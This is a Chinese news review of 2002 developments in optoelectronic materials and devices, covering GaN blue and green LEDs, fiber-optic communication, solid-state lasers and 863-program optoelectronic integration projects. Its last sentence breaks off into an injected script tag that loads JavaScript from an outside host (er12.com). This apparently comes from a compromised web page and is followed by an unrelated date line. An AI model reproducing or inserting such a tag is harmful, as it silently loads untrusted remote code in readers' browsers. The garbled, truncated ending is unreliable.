新材料领域技术发展2002年度综述-光电子材料与器件篇

光电子材料与器件技术对于社会进步和整体科技发展影响巨大,该领域技术的发展对国民经济、社会发展与安全以及其他相关技术的发展影响深刻,并具有良好的产业应用前景。

  上世纪80年代初以氮化镓材料p-型掺杂的突破为起点,以高效率蓝绿光发光二极管和蓝光半导体激光器的研制成功标志着第三代半导体材料的兴起。如用高效率蓝、绿、红光发光二极管制作的超大屏幕全色显示,可用于室内室外各种场合的动态信息显示。高效率白光发光二极管作为新型高效节能固体光源,使用寿命超过十万小时,可比白炽灯节电5-10倍,达到了节约资源、减少环境污染双重目的,在世界范围内将引发照明电光源的一场划时代的革命。据专家预测,在未来十年里,氮化镓材料将成为市场增幅最快的半导体材料,到2006年将达到30亿美元的产值,占化合物半导体市场总额的20%。同时,作为新型光显示、光存储、光照明、光探测器件,可促进上千亿美元相关设备、系统的新产业的形成。

  光纤通信技术作为现代信息社会的支柱产业,特别是作为世界各国正在实施的“国家信息基础设施”建设的重要组成部分,备受重视和关注。在我国,光纤通信市场以每年超过20%的速度递增。到2001年底,全国敷设光缆总量达146万公里,全国长途光缆网通达全国除少数偏远地区外的县以上城市。光纤通信技术已经成为我国当代信息领域的支柱技术。

  以激光晶体、非线性光学晶体材料为基础、大功率半导体激光器为泵源的全固态激光器,具有效率高,体积小,寿命长,结构牢固、光束质量好等优势,推动着传统激光器的更新换代,在先进制造、信息、微电子、医疗、能源、军事和高科技研究等领域不断开拓出新的应用产业生长点。全固态激光器将为微电子、微机械的光刻、激光清洗、激光加工和激光三维成型等提供关键光源。第三代dvd光盘高密度的写入使用深紫外全固态激光器可达100gb,实现下一代高清晰电视记录和宽带信息网络传输记录的目标。实现这一目标目前最先进的方法就是使用深紫外全固态激光器。在聚变能源与裂变燃料生产方面,高功率全固态激光器是驱动的关键技术。

  据记者了解到,光电子材料与器件技术领域的发展特点是对基础突破和工艺创新的依赖性强,因此国家863新材料领域办确立了四个重点发展的方向:人工晶体和全固态激光器、宽禁带半导体发光和激光、光电集成材料和器件、密集波分复用以及光通讯用关键器件。

  宽禁带半导体发光和激光方面,研究以gan基蓝光和绿光led器件制备技术的有两个单位取得突破性进展。清华大学的罗毅教授所主持的项目组成功地将20ma电流时二极管正向电压降低到3.5v左右,反向漏电流降低到4ua以下。优化生长条件及器件制作工艺,提高了亮度,使得led的亮度得到了成倍的增长,达到蓝光管的发光功率在2mw以上,绿光管的发光功率在1mw以上。目前,该项目产业化成果也很显著,已获得1000万产值,50万税收和100万利润。中科院物理研究所的陈弘教授项目组采用了与国际上不同的三步生长法,较大程度地提高了gan缓冲层的质量,使得该层的x射线扫描半峰宽达到了182秒。同时使发光二极管的发光效率提高到了3mw(20ma),透明电极的材料的透过率超过70%,改善了蓝宝石减薄后的平整度,提高划片的成品率达到80%,并实现了300万人民币的小批量销售。

  光电集成芯片技术是光纤通信的最核心技术,是我国发展光纤通信产业必须取得突破的战略性技术。“十五”863计划光电子材料及器件主题将这一关键技术列为重大研究课题,在第一批立项启动的课题中,东南大学射频与光电集成电路研究所、武汉邮电科学研究院、中科院半导体所、电子十三所等多家国内最具优势的研发、制造和应用单位联合承担了光电集成芯片技术这一重大研究课题。经过一年多的共同努力,已经取得全面进展,取得一系列研究成果。

  在oeic混合集成方面,东南大学采用深亚微米cmos工艺、在2.5gb/s速率上完成了复接器、激光驱动器、接收机前置放大器,主放大器、时钟恢复电路、数据判决电路和分接器等光纤通信用超高速集成电路的研制,在光纤通信用超高速集成电路设计方面,取得全面突破,达到国际先进水平。已初步提供了2.5gb/s混合集成光发射机与接收机所需的电路套片。武汉邮电科学研究院制造2.5g激光器芯片的lift-off技术图形电极制作技术和rwg(脊波导)后制作工艺已经成熟。用于2.5gbps数据接收的pin探测器芯片已能小批量生产,性能稳定,按照bellcore标准进行高温老化筛选,温度循环,高温贮藏等实验,均以>90%的合格率通过。与此同时,光迅公司在接收机模块的封装上取得了突破性进展?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计